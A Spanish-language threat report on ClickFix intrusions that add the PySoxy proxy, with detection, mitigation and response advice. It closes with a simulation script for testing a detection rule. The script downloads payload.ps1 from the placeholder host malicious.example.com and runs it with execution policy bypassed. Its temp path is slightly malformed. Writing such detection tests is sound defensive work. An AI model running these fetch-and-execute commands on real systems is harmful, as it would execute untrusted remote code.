ClickFix Evoluciona con Proxying PySoxy

Resumen

ClickFix es una técnica de entrega basada en ingeniería social que ahora se está combinando con el proxy SOCKS5 de código abierto PySoxy para crear un canal de acceso secundario cifrado. La intrusión comienza cuando un usuario ejecuta un comando malicioso de PowerShell, que configura una persistencia de tarea programada e inicia una sesión de mando y control de PowerShell en memoria. Después del reconocimiento inicial, el atacante descarga y ejecuta PySoxy para establecer un segundo camino cifrado en el entorno. Este uso modular de herramientas basadas en intérprete hace que tanto la detección como la contención de incidentes sean más desafiantes.

Investigación

ReliaQuest observó un único comando ClickFix impulsado por el usuario que lanzó un stager de PowerShell ofuscado, creó una tarea programada, realizó reconocimiento de dominio y luego descargó un archivo de código byte Python compilado llamado b64.pyc, que fue ejecutado con python.exe. El componente de PowerShell actuó como un RAT ligero, consultando su servidor de mando y control cada tres segundos. Los investigadores también vieron al atacante usar curl para subir registros y recuperar la carga útil de PySoxy desde el mismo servidor de preparación.

Mitigación

Los defensores deben detectar y bloquear los lanzamientos de PowerShell sospechosos que se originen desde explorer.exe, monitorear las tareas programadas que ejecutan comandos de PowerShell ocultos y buscar ejecuciones de Python utilizando argumentos relacionados con proxies como -ssl, -remote_ip, y -remote_port. Los equipos de seguridad también deben inspeccionar el tráfico saliente hacia los dominios e IPs identificados y eliminar cualquier script de PowerShell persistente o .pyc archivos encontrados en ProgramData.

Respuesta

Si se encuentran indicadores relacionados, aísle el host afectado inmediatamente, desactive la cuenta de usuario comprometida, elimine la tarea programada maliciosa, borre el script de PowerShell y los artefactos de PySoxy, y escanee el sistema en busca de remanentes adicionales. Los defensores también deben confirmar que el tráfico saliente hacia la infraestructura identificada está bloqueado y verificar que no queden activos otros mecanismos de persistencia.

Ejecución de Simulación

Requisito Previo: La verificación previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.

• Narrativa y Comandos de Ataque:

  1. Objetivo: Establecer un canal C2 basado en PowerShell (ClickFix) que descargue una carga maliciosa desde un servidor remoto y la ejecute sigilosamente.
  2. Método: El atacante lanza powershell.exe con los parámetros exactos que la regla monitorea (-NoProfile and -ExecutionPolicy Bypass) y usa Invoke-WebRequest para obtener la carga.
  3. Por qué este método: Al usar PowerShell nativo de Windows y el cmdlet común Invoke-WebRequest , el adversario evita descargar herramientas de terceros, reduciendo la probabilidad de detección por parte de AV mientras se parece al comportamiento conocido de ClickFix capturado en la regla.

  # Paso 1: Descargar el script malicioso (simulado como un archivo de prueba benigno)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env: TEMPPayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Paso 2: Ejecutar el script descargado utilizando los mismos parámetros de lanzamiento que la regla vigila
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Script de Prueba de Regresión:

  # ==============================================
  # Simulación de ClickFix PowerShell C2 (TC-20260514-3G7ZK)
  # ==============================================
  
  # Definir variables
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env: TEMPPayload.ps1"
  
  # 1. Descargar una carga ficticia (actúa como la obtención de C2)
  Write-Host "[*] Descargando carga..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Descarga fallida: $_"
      exit 1
  }
  
  # 2. Ejecutar la carga con los parámetros exactos monitoreados por la regla
  Write-Host "[*] Ejecutando carga con -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulación completa."
  # ==============================================

• Comandos de Limpieza:

  # Eliminar el archivo de carga temporal
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Archivo de carga eliminado."
  }
  
  # Detener opcionalmente cualquier proceso de PowerShell persistente lanzado por la prueba
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Limpieza terminada."